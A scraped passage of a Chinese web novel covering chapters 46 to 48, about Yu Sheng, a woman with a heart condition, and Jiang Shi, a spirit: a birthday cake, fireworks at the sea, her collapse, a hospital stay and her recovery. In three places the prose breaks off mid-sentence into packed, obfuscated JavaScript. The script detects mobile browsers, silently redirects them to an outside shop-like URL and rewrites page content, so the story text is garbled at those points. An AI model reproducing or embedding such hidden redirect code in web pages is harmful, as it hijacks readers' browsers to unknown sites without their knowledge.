“对方正在输入中”持续了好一会儿,舒云霁的消息才发过来:「不用跟我这么客气。」 舒云霁:「我们还是朋友。」 舒云霁:「对吧?」 喻声笑,稍微松了一口气:「嗯,当然是朋友。」 舒云霁发了张图片过来,看起来像从房间内拍窗户外的风景。 舒云霁:「今天的天空很漂亮。」 喻声也拍了那轮落日发了过去:「没有比今天的天空更漂亮的了。」 有比今天的天空更漂亮的。 喻声打开家门,一瞬间打破了刚刚下的定论。 关了灯的客厅里,明明很怕火的人坐在燃着蜡烛的蛋糕前,那双比今天天空还漂亮的眼睛在听到她进门的声响后抬起来,稍微一弯,被烛光照得亮晶晶、波光粼粼的。 “我就是想先看一看蛋糕在蜡烛下是什么样子的。”江时起身,快步来牵喻声的手走到蛋糕前,“没想到你回来得这么巧。” 喻声笑着在地毯上坐下,饶有兴致地问他:“蛋糕是你自己做的吗?” 草莓堆顶,饼干将蛋糕体围成一圈,虽然奶油凹凸不平的,但诡异地有种油画般的萌感。 “嗯,你早上出门后开始做的。” 江时也坐下,小心翼翼地问,“你觉得怎么样?比做饼干难多了,我总觉得做不好。这么一想,去年生日我果然收到了最好的生日礼物,可惜今年想复刻回赠给你有点失败了。” 怪不得一天都没回消息。 喻声的目光轻扫过蛋糕,又笑。 慢慢地,她摇摇头:“很漂亮,我很喜欢。” 江时控制不住嘴角眉梢:“真的吗?” “真的。”喻声看看蛋糕看看他,“蛋糕很漂亮,你的眼睛也很漂亮。” “因为在看着喜欢的人啊。” 江时思忖片刻,歪头,笑眯眯道。 喻声假装绷着脸,却还是忍不住要笑出声:“……去哪里学的这些话?” “不用学,自然而然做出来的反应。”江时旋着蛋糕让它正向喻声,说道,“不过做蛋糕我是得好好学一下,今天这个蛋糕的意义不一样,所以就算不太满意还是把它留了下来。” 蛋糕被转过来,喻声才注意到每颗草莓的正面都被贴上了白色星星。 有几个星星的边缘不太规则,应该是江时自己用小刀在白巧克力上刻出来的。 喻声看向他,无声询问。 江时凑近了一点:“还记得我在临山跟你说过的那些话吗?” 喻声瞬间明白了他在蛋糕上摆放星星的用意:“……每个人都会有属于自己的星星?” 江时笑着点点头:“但还有没说完的后半句,时机不对,只能等到现在才跟你说了。” “那个时候就已经觉得,我拥有了第一颗、也是唯一一颗属于我的星星。我抬头看了一百多年的天空,才发现原来这颗星星就在我自己的身边。”江时拿起一颗星星,递到喻声嘴边,说道,“我的星星,生日快乐,谢谢你出现,谢谢你爱我。” 喻声鼻尖一酸,张嘴去咬星星。 江时欺身上来,和她交换了一个白巧克力味道的吻。 白巧越甜,鼻尖的酸感就越明显。 一吻分别,喻声控制不住想流泪,偏偏要逞强说:“哪有人在没许愿之前就先吃蛋糕的?” “现在许愿也不迟。”江时笑着说,“蜡烛还没灭,它在等着你的愿望。” 喻声双手交握举到唇边,闭眼。 她是个很贪心的人,从前没得到的渴望得到,现在得到的又不想放手,陷入会成为二周目的恐慌里,种种愿望,许的都是关于自己。 可她目睹过她喜欢的人的愿望。 他希望她能幸福。 他希望她一切如愿。 他的愿望,都是关于她。 喻声想,以后的时时刻刻,尤其此刻,她的心里只会有一个愿望。 她希望,无论有没有她在身边,江时都能快乐,不管他去了哪里,都能平安健康,万事顺遂。 作为他的星星,唯一能做的,就是保佑他的一切。 喻声睁眼,在江时伸手抚摸她脸颊的动作中才明白自己早已流下眼泪。 爱和眼泪,是她面对江时最不能控制的两样东西。 他慌张问:“许了什么愿望?怎么还哭了?” “我希望。”喻声深吸了一口气,“希望你永远都不会后悔和我谈恋爱。” “说什么呢?”江时把她的头发揉乱,故作生气,“你在质疑我对你的爱。” 喻声弯了弯眼睛,摇头。 “为了不让你质疑我对你的爱。”江时站起身,旋即弯腰伸手,蜡烛烛光已经熄灭,可他那双眼睛在只有微弱月光的黑暗中还是亮亮的,“公主,要不要跟我去私奔?” 喻声眨眼的频率陡然加快。 没有犹豫地,她伸手,牵住了他的。 “好啊。” 王子。 请你,带我走吧,去哪里都可以。 - 喻声没想到江时会带她来海边。 行人三三两两,交谈声和海浪拍打樵石的声音不断,江时牵着她越过人群,在层层翻涌的海浪刚刚好触到鞋尖的地方驻足。 喻声注意着脚下,海风拂过脸颊,吹乱两侧的头发,她将碎发塞到耳后,一抬头,低悬的月亮正对着她,在海面上照出了一条摇晃的、波光粼粼的星河。 “好漂亮。”她喃喃。 “哪里漂亮?” “全部。月亮、海、心情,所有东西都漂亮。” 愉悦的感觉是心悸吗? 喻声想。 如果是的话,现在该有千束烟花在她的心脏上绽放。 “还有更漂亮的。” 江时揽着她的那只手往前一指,“看。” 他话音刚落,几十束不同颜色的烟火拖着长尾巴前后升空,像落入可乐中的纸吸管,气泡自吸管顶端喷洒出来,迅速往四周流动,可乐也少了大半,整个天空被映得绚烂缤纷。 喻声双手合拢捂嘴,迟迟不愿眨眼,眼睛泛涩后流出生理性眼泪。 江时更紧地揽着她不愿松开:“我答应过你的,等你回东宜,我们就一起放烟花。之前在临山只能给你看照片,这次终于可以自己放给你看了。” 喻声很想回答他她看到了,可是她一侧头,就感觉头晕目眩,天旋地转间,均匀地向四面八方落下的烟花仿佛有一束掉到了她沸腾的心脏上,它炸开,于是心脏钝痛,跳得愈来愈烈。 意识渐渐模糊,她下坠,旁边的江时在剧烈发抖,抖到再也没有力气站着揽住她。喻声第一次看到江时这样,在她心里无所不能的人跪在沙滩上,眼圈泛红,微弓着背,手垫在她的脑袋下,另一只手颤着来扶她的脸,动作很轻,口中一遍一遍急促地喊着她的名字却等不来回应,可他依旧固执地重复,额头低下,与她相抵。喻声张了张嘴,很想让他不要害怕,她只是有点困,只是想做个梦而已。 只是想做个梦而已,是梦就总会再次醒来。 可是未果。 全部。月亮、海、心情,所有东西都糟糕。 喻声发出来的微弱声音瞬间被以她为中心涌过来的人群惊呼声淹没,江时依旧跪着,任凭每一个人从他身上踏过。 而后,在救护车由远及近的声音中,喻声彻底失去意识,在她本该最幸福的时刻,做了一个很长很长的噩梦。 喻生,生,生生不息的意思。 这是喻之樾知道她遗传了他的心脏病之后给她取的名字。 或许高敏也曾爱过她,但高昂的手术治疗费将爱磋磨、催爱衰老,喻之樾因心脏病去世是最后一根稻草,将这个家庭重重压垮。 高敏变得爱酗酒,有时候靠在沙发上昏睡一整晚,手里还紧紧握着溢了一地酒的玻璃瓶。在喻声担心她,默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083233|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默蹲在旁边帮忙擦地、收瓶子的时候,高敏会恍惚醒来,咬牙切齿地把酒瓶夺回来往旁边鞋柜上狠狠一摔,再把喻声往后推搡开。 诸如此类发生的次数很多,但喻声都选择性忘记,能记住的说的最清晰的一句话是: “生生不息……你凭什么生生不息?要害了几个人才够?” 那天,是喻生的八岁生日。 喻生这个名字和她的七岁一起随着父亲的骨灰被撒到海里,八个月后,她改了名,叫喻声。 声,要无声无息。 爱是稀缺的东西,恨依附它,和它无法相背而生。 大概也是因为这一点,喻声无法去怪罪高敏,知道她付出了爱,恨的产生只是因为她再一次经历了宛如分娩般的剧痛而已。 高敏颓废了好一阵,再振作起来已经过了一年,她说是要去别的城市工作,将喻声推给了王春华,唯一能和她联系上的是每个月微薄的生活费。 街角那家咖啡店门口的大树的叶子落了长、长了又落。 可能是因为太久没见过母亲,又一直被鬼折磨,也没法和春华女士诉说,喻声整宿整宿地失眠,在床上抱着枕头无声地流泪。 这个冬天比任何时候都要漫长。 高敏寄来的钱王春华一分没动,全给喻声存着,想等喻声十八岁后上大学再给她。 喻之樾去世,到喻声改名,用了八个月的时间。 高敏决定出国,到喻声在上课间晕倒送去医院急救,也用了八个月的时间。 那笔钱最终没留到十八岁。 在喻声快十六岁的时候连同王春华多年的积蓄一起,换取了一次做心脏手术的机会。 手术很顺利。 第一次,喻声第一次看到春华女士在她面前流下了眼泪。 老太太刚刚经历了丧子之痛,饶是因工作原因看惯生死,也无法再承担第二次了。 喻声也一夜之间长大了很多。 她因手术休学了半年,复学后更用功读书,她提着一口气,最后以很亮眼的成绩进入了东宜大学。 喻声明白钱的重要性,高考完的那个暑假就开始接稿赚钱,她有文学功底,又勤奋,渐渐地赚了不少,也以各种节日的名义给春华女士塞红包。 并且,在一次志愿活动中认识了同样有先天心脏病的福珠。 喻声想,至少尽自己的能力,多给另一个她一点希望。 日子像在一天天变好。 或许人在每一个平淡的日子里都很难去构想接下来的命运会有多残忍,所以等到亲身经历过后才会更加痛苦。 临近毕业时,她再次晕倒。 这一次,她被告知了生命有确定的期限。 日子没有一天天变好。 哭得多了,反而这一次哭不出来了,喻声沉默地、平静地接受了这个事实。 出院后,天空下了那个夏天的第一场暴雨,喻声打消了回棉城的念头。一方面是留在东宜看病,另一方面也是怕被春华女士知道。 想给春华女士写信也差不多是这个时候开始的,一封封慢慢攒着,多数时候是废话,是倾吐,少数时候的话是从千疮百孔的心脏流出来的,那是眼泪吗?可能不是,只是那场淋湿后再也晾不干的夏季暴雨。 那场暴雨在一个夜晚停歇。 也是第一次,她对心脏异样的跳动有了新的解释。 喻声曾经和江时说过,左手的无名指上有一条静脉叫venaamoris,意为爱情之脉。 这条静脉直通心脏,心脏是很重要的器官,它承担爱、生命和死亡。 她的心脏左右她的生命和死亡,江时的出现是填补关于爱情的那部分。 逛东大的那个晚上,在江时说出“我们会在一起很久很久的”之后,喻声不假思索说了一句“因为死亡也不能将我们分开”。 当时她的心跳很快。 她想,如果她真的死去,以鬼的身份也可以一直和江时在一起。 到那时,她会带他回棉城,去见春华女士。 可是命运还是给她开了一个新的玩笑。 他会回归本体,而她,会死亡。 在一个不确定的期限里,他们终会分开。 只是喻声没想到,这个日子会是她的24岁生日。 可能她忘记和舒云繁说的是,因为她是健康的,所以24岁想怎么去活都行。 但她不行。 生命倒计时是即将踏入社会的礼物,在爱人怀里晕倒是生日礼物,这一生,只有放下两个字是完完整整属于她。 春华女士说得对。 庄生晓梦迷蝴蝶,一切终究只是镜花水月。 喻声睁眼,从梦里醒来。 四方小房间里,安静的白茫茫一片。 47. 101岁 消毒水气味萦绕,手上还打着点滴,喻声从床上挣扎着坐起来。 病房内空荡荡的,环顾一圈能入眼的摆设也就只有一张沙发、一张单人床和一个床头柜,屋内唯一的色彩来自床头柜上的一束花,那是一束向日葵。 有人说,她和向日葵很像。 喻声敛眼。 不知道她晕倒在他怀里的时候,他是否也这么觉得。 喻声低头,视线随之下滑,触及手腕处才发现那条佛珠不知道去哪里了,她的手刚覆上手腕,思绪被门口传来的握着门把的咔哒声打断。 喻声坐起身,后背有一瞬的僵直。 咔哒声很轻微,如果不是喻声看到门把转动的话会疑心自己听错。她在等看到自己想见的人,可是门把一直停留在旋转了一半的位置上,没有人推门进来。 喻声的心紧了紧。 “我醒了。”她打破寂静,“可以进——” 话还没说完,喻声望向来人,喉咙瞬间被扼住,说不了话。 病房窗帘大敞,光线明亮,纵然喻声该有所准备,可直到看到来人是王春华,看到她再一次为她的心脏掉下眼泪的时候,还是忍不住将床单抓出再也抚不平的褶皱。 她该想到的,医院在抢救的同时,就会同步联系亲属。 棉城到东宜,飞机要飞三个多小时。 她的奶奶,害怕了几个小时? 那时的丧子之痛,是否在两个八年的时间里陈化,变得更浓更烈? 喻声不敢想,也不敢问。 总让她害怕,总让她伤心,自己亏欠春华女士的实在太多。 反而是王春华先开口,她走到病床前,颤抖着声音问喻声:“如果不是再次进了医院,你打算就自己扛吗?” “奶奶。”喻声抬脸看她,强撑起一点笑,“你看我现在不是挺好的吗?” 王春华气不打一出来,和以前发现喻声总少穿衣服时一样,伸手拍了一下她的手臂。 王春华这一拍,喻声倒是轻松了些,她笑着往后躲,喊了声痛。 这下轮到王春华慌神了,她小心地揉搓着喻声的手臂,喻声小幅度地往前挪动了一点,得寸进尺地抱住了她。 “不痛了。”喻声说。 良久后,喻声听她叹了口气,随后头顶传来熟悉的抚摸温度。 喻声贪恋地稍微一仰头。 王春华问:“为什么要瞒着我?” “……我不想看到春华女士枯萎啊。”喻声开口,“春华女士要活得很漂亮,不要再为我伤心了。” 王春华坐到床边,将喻声没打点滴的那只手握在自己的两个掌心之中,缓缓说道:“不想奶奶伤心的话,你更要好好活着。否则就等你变成鬼了回来看我枯萎吧。” 这个时候不管脑中想法如何,附和才是王道。 喻声抿唇,乖巧地说了声知道了。 而后,喻声看着王春华在病房内一会儿把花插到玻璃瓶中,一会儿倒水试温度的忙碌身影,嘴张了张,到底没能直接把话问出来。 “要不要喝水?”王春华问。 喻声:“过会儿再喝吧,现在不渴。” 王春华:“那要不要上厕所?” 喻声摇摇头。 “……”王春华强硬地把水杯往喻声手里塞,“想问什么就问吧。” 喻声眨眼,干巴巴地说:“说起花——” 王春华狐疑般挑眉:“我有提过花吗?” “提了提了。”喻声连忙把没说完的话说完,“奶奶,你还知道我喜欢向日葵啊。” “你不如直接问我有没有见过江时。”王春华一副我还不了解你的样子换回了喻声一个讨好的笑,她继续说,“花是他买的,他我也见过——” “——问了很多有关于你的事情。” 喻声没吱声,无意识地抠着指甲。 “生生啊,奶奶知道你不想让他和你一起承担痛苦,但爱不是这样的,爱是你瞒着他,只会让他更痛苦。”王春华缓缓道,“他在门口等你到现在,你跟他好好聊聊吧。” 喻声垂目:“……那他和奶奶猜想中差不多吗?” “差不多,他不是鬼,是灵体存在,而且残缺不全,我也把基本情况都告诉他了。”王春华说,“本体越强,灵魂就会越强,他的状态、颜色、气味,都预示着他离回归本体不远了。但无论他是否回去,他的本体依旧会好好活着。” 喻声猛然抬头看王春华,不出她所料,在王春华脸上看到了很平静的表情。 比起平静,更像是—— 更像是下定某种决心。 这种表情在此刻出现,让喻声有点害怕。就像有一道综合数学题摆在她面前,第一小题的答案必须为否才能继续做第二小题,但她在落笔时仍会害怕求出的答案为是。 而她是数学专业的。 她只是稍微通读一遍,就知道题干中有很多论述在支持她做出“是”的答案。 喻声捂紧手中的水杯,低声说:“奶奶,不管他的体质对我的心脏如何有帮助,我都不需要他为我再付出什么了。既然我一开始就决定自己承担,让他平静地离开、回归自己的本体就是我最希望看到的。” 王春华沉默片刻,到底没说其他的,她让喻声喝点水,而后只站起身,说我帮你喊他进来。 - 江时不知道自己是怎么来到医院的。 他走到手术室门口时,走廊挂着的数字时钟写着23:50。 还差十分钟,今天才能成为过去。 一个人的命运就像跷跷板,痛苦在一端落下,于是幸福就能高高扬起。因为骤然升空,幸福的五感在紧张情绪的调动下就会被异常放大。 蛋糕胚在烤箱里迅速镀上的那一层焦黄色、唇与唇之间香甜的白巧味道、私奔时亮起又熄灭的声控灯、海风吹来鼻腔里的咸湿味道、揽着她时手心触到的柔软的发丝、还有烟花升起,没错过的她的眼泪。 可没人告诉他,差距悬殊的两个东西不能被放置在跷跷板的两端。幸福只是错觉,痛苦的那头,一定还是痛苦。痛苦和痛苦维持平衡时,五感会变得模糊。 江时全身上下再没有一丝力气,只能跪着抱住喻声,他动不了了,有人碰到他的后脑勺,和他重叠部分,蹲下来焦灼喊着什么。江时眼珠转动,盯着那个人的嘴巴,还是分辨不出来他说了什么。 啪嗒、啪嗒—— 这个声音怎么会这么熟悉? 啪嗒、啪嗒—— 是去世后,在土坟边听到的佛珠和佛珠相互碰撞的声音。 啪嗒、啪嗒—— 像内心有所指引似的,手要比听觉率先做出反应,它伸出,摸索着在地上找从喻声无力垂下的手腕上断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江时两手撑在喻声腿的两侧,抬头问她,“你的心脏出问题,会不会是因为和我在一起待久了,损耗你的元气?” 喻声无奈道:“和你没有关系。” 她又问:“还记得你问过我为什么不喜欢医院吗?” 江时嗯了一声。 喻声深吸了一口气,定定地看向他说道:“因为在我这里,除了医院以外的地方,死都不是生的对立面。” “江时。”她柔声,“不管我奶奶提了什么建议,你都不要做傻事,不要站在我的对立面。” 报以喻声的只有无尽的沉默。 喻声只好用力握紧他的手。 良久之后,是江时先开口。 他捡起地上的水杯,摸了摸她的头,说:“你先好好休息,剩下的我们以后再说。” “你先答应我。” 江时败下阵来:“好。” 喻声:“我什么时候能出院?” “要等几天,还要检查一下,留时间做些准备才能出院。”江时说道,“你今天先好好休息吧。要不要睡觉?” 喻声:“……好。” 她躺下闭眼,没过一会儿就发出绵长的呼吸声。 脚步声来回,在她身边停了很久后又响起,随着开门关门声才消失。 喻声颤抖着眼皮,没睁开,有眼泪从眼角流入枕头里。 48. 101岁 他们像回到了过去,回到了什么事都没发生过的时候。 喻声没过几天就出了院,王春华甚至没等到她出院就回棉城了,说那边有事要忙。后面是喻声自己办了手续,江时来接她回家,回去的一路上也没再提关于她的心脏的事。 在医院长时间处于睡眠状态,喻声没怎么看过手机,刚想开机看看舒云繁有没有联系过她,一拐角上楼,发现她正在想念的那一人一狗就蹲守在她家门口。 扒着门缝的豆乳听到声音直冲过来,绕着喻声的脚就开始转圈圈,任凭江时怎么逗都没搭理他,惹得江时一扬眉,嘟囔了句小没良心的。 旁边的舒云繁比豆乳慢了一步,却看起来比豆乳更激动,一看到喻声就蹦起来对她上下其手,掰着脸左看右看后立马伸手往她的胸口去。 江时:“……喂!” 他还没出声前喻声就已经惊恐地用手一挡了:“你突然这是怎么了?” “你不是住院了吗?”舒云繁把喻声的手扒开后紧张地摸摸她的胸口问,“……心脏没问题了吧?” “我没事了,别担心。”喻声问,“但你怎么知道——” 她话还没问完,就看到地上的行李袋。 喻声目光从行李袋转回舒云繁身上,换了个问题:“你这是要去哪里?” 还没收到答案,喻声就稀里糊涂地交出家门钥匙,等到反应过来已经被舒云繁推到沙发上抱狗呆坐着了。 舒云繁轻车熟路地进了厨房拿起常用杯倒了两杯水出来,递给喻声一杯后又小跑去开阳台门。 “稍微有点年头的房子就这样。”舒云繁回来后坐到沙发上说,“才几天没住,家里就有股味道。” 喻声仰头去闻:“确实有点味道……有点香灰味?” 旁边的江时学着她吸鼻子,又低头抬起胳膊闻了闻自己。 “不是吧?应该就是门窗紧闭太久闷出来的味道。”舒云繁不确定地说,“不过这不重要,开窗通风一会就好了。” 喻声摸着豆乳的脑袋,闻言点点头。 舒云繁喝完一整杯水,又说:“我先去把行李袋里的东西收拾出来,然后我们看个电影?” 喻声:“对了,我还没问你带这一袋东西是干嘛呢。” 舒云繁:“我不是要住你这吗?不得先收拾点行李过来啊?” 喻声一怔,手上顺毛动作放缓:“……住我这里?” 舒云繁点点头:“你这不是刚出院,我得好好照顾你一段时间才行。” “不用了。”喻声笑道,“在门口你不是好好地把我检查过一遍了吗?我能出院就说明没什么事了,不用那么紧张。” “总还是有点不太放心。还记得你之前发烧吗?我在门口要把手敲断了你才来开门。这次你是心脏出了点问题,比那次的情况更严重了,我是真害怕你一个人住又出事了。”舒云繁一摸下巴,想了想后给出期限,“那就10天。今天7月10号,我住到20号你没事了我再走。刚好我交了雅思报名费打算鞭策一下自己,这段时间也不去看店了,一个人的时候容易走神,在你这里我还比较能复习得下去。” 要是她真一个人住还好,但—— 喻声偷偷瞥了眼旁边的江时。 “你决定就好。” 江时开口,“你想的话,这10天我就暂时住客厅。” “那好。”喻声抬起豆乳的胳膊拍了拍舒云繁的行李袋,笑道,“要我们俩帮你一起整理行李吗?” 舒云繁做了个制止的手势后起身:“没事,我自己可以,你休息会吧,顺便先挑个电影,等我收拾完了一起看。” 舒云繁去收拾,喻声也闲不住,索性蹲在地上,清理豆乳放在她家里的狗窝。 家里的好多东西都有不同程度的落灰。 她明明没有离开很久。 江时盘腿坐在她旁边,手撑着脑袋心不在焉地欺负豆乳,豆乳腿往后蹬,干脆利落扭身不理他。 江时被它腿一蹬,好像才回过神来。 他坐在阳光没能照到的地方,喻声抬头打眼一看,似乎感觉他又变得透明。 她使劲闭眼又睁眼,想让幻觉消失。 “你别欺负豆乳,你看今天它都不想理你了。”喻声说,“这几天舒舒住这里,也别欺负她。” 江时不满:“我哪有这么坏啊。” “她不提发烧那次我还没想起来,你用柜子里的碗吓唬她了吧?” 江时:“……” 他眼神飘忽,嘴硬:“那是以前了,现在不会了。” 喻声笑他:“现在大度了?” 这句话不仅在说此刻,还在说刚才他没犹豫就愿意让舒云繁住过来的事,喻声还以为要说服他得下点功夫,没想到她还没提他就让步了。 “毕竟如果我不在的话,她是你在东宜最后的依靠了。”江时双手往后撑着身体,看向喻声,嘴角还带着惯有的笑意,“而且哪还需要我去吓她啊,她都决定自己吓自己了。” 舒云繁:“……啊啊啊啊啊!” 喻声憋笑,适时递过去一个抱枕:“这么害怕还干嘛同意看恐怖电影?” “我就是想挑战挑战自己,没想到这破电影这么吓人。”舒云繁用抱枕代替手掌遮住大半眼睛,“你不害怕吗?” “我都看过一遍了。”喻声按下暂停键让舒云繁缓缓,而后说。 “那不公平!”舒云繁放下抱枕,“早知道换一部了,不能只吓到我一个人。” “但这部电影好看啊,值得重刷。”喻声笑道,“我当初看第一遍的时候,有个鬼嫌我不够害怕,电影播完后又出来吓我一次。” 江时的话从旁边插进来,明明是抱怨却显得有点轻飘飘的:“……不是说好不提这事了吗!” 说着话,他还伸手使坏地碰了一下喻声的腰。 冰冷的手指,温热的腰肉。 像被刀面碰到,喻声一瑟缩,差点回头去瞪他,怕被舒云繁发现,她只能偷偷伸手往后想拍他,不出所料拍了个空。 舒云繁没有察觉底下的动作,还在拍拍自己的胸口:“看到鬼果然不是什么好事啊。” “不过也不是什么坏事。” 喻声继续道,”它还有续集,也叫《鬼在这里》,不过听说主演闹掰,不会有第三部了。” 舒云繁砸吧砸吧嘴,惋惜道:“这也太可惜了,虽然片子剧情恐怖,但男主角那脸蛋那身段,和女主角站在一起还是挺养眼的。” 喻声点点头又摇摇头,笑道:“我对比过,有更帅的。” 这话一出,舒云繁明显好奇,但她凑过来,张了嘴还没开始问,就被餐桌那边传来的三声巨响吓到又只能发出一连串的“啊啊啊啊啊”。 江时抢先一步去看,喻声确定舒云繁没被吓坏后随后起身跟过去。 走到一半,她就被半路扑过来的豆乳撞了个满怀。 后面还跟着一脸怨气的江时。 喻声抱紧豆乳问:“怎么回事?” 江时往后一指:“你去看。” 喻声没动,歪头错开他往厨房一瞥—— 黑色黄色绿色混合一地,煤球芝士抹茶尸体集体躺平,被盆底碎片划伤。 豆乳这一蹦,江时损失三个朋友。 喻声没想怪豆乳,但又不知为何,心底总涌现出一点不安来。 她看向江时,下意识抬手按在心脏的位置上。 想说什么,没能说出口。 愣神片刻,后面稳定心神的舒云繁从客厅追了过来:“声声!刚才怎么了?” 她话音刚落,自己也看到发生了什么了,顿时气不打一处来,揪起豆乳的毛就想给它一顿暴打。 喻声晃过神来,赶紧抱着豆乳背过身去:“算了算了,它也不是故意的。” 豆乳急急忙忙转着脑袋往喻声怀里拱,刚安顿好脑袋屁股就暴露出来了,掩耳盗铃一般,屁股被舒云繁往前绕过喻声的手拍了个正着。它炸毛,愤怒地抬起脸搁在喻声的肩膀上,朝舒云繁汪了两声。 舒云繁更生气了:“你还敢给我发脾气是吧!” 喻声把豆乳脑袋按回去,左右安抚说道:“豆乳来我家住的那段时间我都在餐边柜这里喂它,它应该是饿了才会过来自己扒拉吃的。是我的问题,看电影太入神了都忘记到它吃饭的点了。” “那它也不能撞掉东西还这么理直气壮的,你就是太溺爱它了。”舒云繁走上前蹲下查看地上的情况,见确实无法挽回了又抬头说,“声声,我重新买给你吧,你有之前的照片吗,我看看能不能买到一模一样的。等我买完再好好教育这个逆子。” 喻声弯腰放下豆乳赶它去客厅玩,随后把蹲在地上的舒云繁拉起来推她去厨房:“没关系,你不是买了很多吃的来吗?这就算赔我了,现在帮我和豆乳准备点吃的吧,我们俩都饿了,剩下的我来处理就行。” 舒云繁还想争点什么,被喻声堵进厨房里后只好作罢。 确实是没关系,因为她有修复小盆栽的法宝。 法宝本人蹲在碎片旁,摇摇头。 喻声一愣:“……你修复不了吗?” “是不能现在修复。”江时说,“不然你怎么向舒云繁解释?不是说不能吓到她吗?” 差点忘了这一茬。 喻声点头:“那我先用袋子装起来吧,等之后舒舒回家了你再修复。” 她想了想,附上一句:“好不好?” 江时摸摸她的头,笑说当然好,怎么这么严谨,还需要确认一下。 “确认一下才比较安心啊。”喻声说。 舒云繁从厨房探出头来,问喻声是不是在跟她说话。 喻声弯弯眼睛应了声是:“你帮我在碗柜底下的抽屉里拿个厚点的黑色垃圾袋出来吧。” 不多时,舒云繁拿了垃圾袋出来。 她往客厅望了眼:“静悄悄的,该不会又在捣乱吧。” 话音刚落,豆乳衔着球奔过来。 “给我的吗?”喻声问。 豆乳低头蹭蹭她的脚踝,良久后抬脸小声喊了句汪。 “赔礼吗?”喻声又问。 这次它很迅速地、雀跃地汪汪叫了好几声。 喻声莞尔,手上还捏着碎瓷片不方便,就用胳膊肘蹭蹭它的头顶毛:“怎么这么乖啊?” 旁边的舒云繁止不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117494|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住叹气,说你也太好哄了吧,差向日葵花瓶就全军覆没了也能这么快原谅这只只会撒娇的笨狗。 喻声抬头,看向向日葵。 它比其他盆栽要更高,江时曾说如果不小心被撞倒,那一定是它先遭殃。但他猜错了,花瓶不知道何时被移到了最里面,在这场事故中被他其他三个朋友保护得很好。 喻声想,它也不一定会开心。 在修复好其余的盆栽之前,它也许会很孤单。 也许会的。 “好了好了。”舒云繁一把扛走豆乳,碎碎念道,“祖宗,罐头给你备好了,我们去厨房吃饭吧。别再待在这里了,一会儿你声声姐姐的花瓶都保不住了。” 厨房传来此起彼伏的吵闹声,喻声专心致志地收拾了一会儿,江时不知道跑哪里去了,等喻声收拾干净回房间的卫生间洗手时才发现他就站在窗边愣神。 位置、角度,都和第一次见他的时候一样,两个时空微妙重叠,兜兜转转快一年,怎么又像回到起点。 喻声屈起手指在门上轻轻敲,走上前,问他怎么在这里站着。 她问:“房间不是你一点一点布置出来的吗?还有那个懒人沙发,怎么现在很少看你坐这个沙发了?” “你也很少在这里写文了。”江时听到声音后侧头,笑着向她招手,“你不在房间的话,我一个人呆着也没什么意思。” 很轻地,他握住了喻声的手,十指相扣。 喻声低头去看,又回握得很紧。 指尖与指尖之间产生震颤,将两个时空切割分离。她要这样才能感受到现在这个他是真实的,不是过去那个透明的,和她没有任何交集的他。 “也是。”喻声说,“那等我多写一点。” 江时笑着点点头,没再说什么。 后面几天也是照常地过,那条佛珠喻声又找回来了,在第一晚睡觉的时候从枕头下摸出来的。 准确来说不是一条,是十二颗散开的佛珠被好好装在木盒里。 喻声还在疑惑是什么时候断掉的,不过她也没多纠结,最近这段时间的记忆总是东一块西一块的凑不完整,她怀疑自己是深度睡眠时间过长导致的,还被舒云繁笑是不是打算当睡美人。 她总在晚上十点睡到隔天早上九点,又能在中午十二点多左右睡着,下午五六点才醒来。每每醒来房间都只亮着一盏小台灯,舒云繁就坐书桌前学雅思。 喻声这边放出动静,她那边头没抬手没停就开口:“醒了?” “有没有打扰到你?”喻声嗯了一句,而后问。 “没有。你不懂这种感觉,我在大学宿舍的时候就这样,舍友越是睡得香我越是学得起劲。”舒云繁搁下笔,又确认了一遍,“不过你这睡眠质量真的要赶超睡美人了,身体真的没问题吧?” 喻声摇摇头,开玩笑道:“如果像睡美人也不错啊,就这么昏睡100年吧。” 或许等昏睡醒,就能见到想见的人。 而在没有醒之前,她做了很多个梦。 梦里江时总是站在那里,喻声无论怎么喊他,他始终没反应,她逐渐心焦,试图走近一步,待她一动,他后面的背景在以一种极快的速度坍缩和扭曲,就像小时候发烧看到的场景那样,所有东西都开始无限放大或无限缩小。喻声被晃得眩晕,她止不住地弯腰想干呕,但她不想就这么放弃,强撑着直起身后还是试图去抓江时的手—— ——喻声从梦境里被扯了出来。 快五点了。 她把脸埋进膝盖间,大颗大颗眼泪都变成睡裤的小块水渍。 原来一直都是梦。 她像无头苍蝇一般,迟迟不愿醒,在梦里打转。 喻声咬紧牙关,不让喉间一丝呜咽有发出来的机会,舒云繁就睡在她旁边,还是起夜上厕所才发现她在哭。 舒云繁被吓到,在床上跪着抱住喻声,连声问怎么了,问她是不是做噩梦了。 这下呜咽抑制不住了,喻声的眼泪转移战场,落在舒云繁肩膀上,她颤声:“……舒舒,我只是心脏有点痛。” 舒云繁急得六神无主,一边揽着喻声一边在黑灯瞎火中摸睡前不知道丢哪里了的手机:“我们去医院吧。” 喻声泪流了满脸,她点头,说好。 检查结果很快出来,她的心脏很健康,一点问题都没有。 从大学晕倒那次开始到现在一直在为喻声诊治的医生捏着检查单百思不得其解,最后把结果归为奇迹。 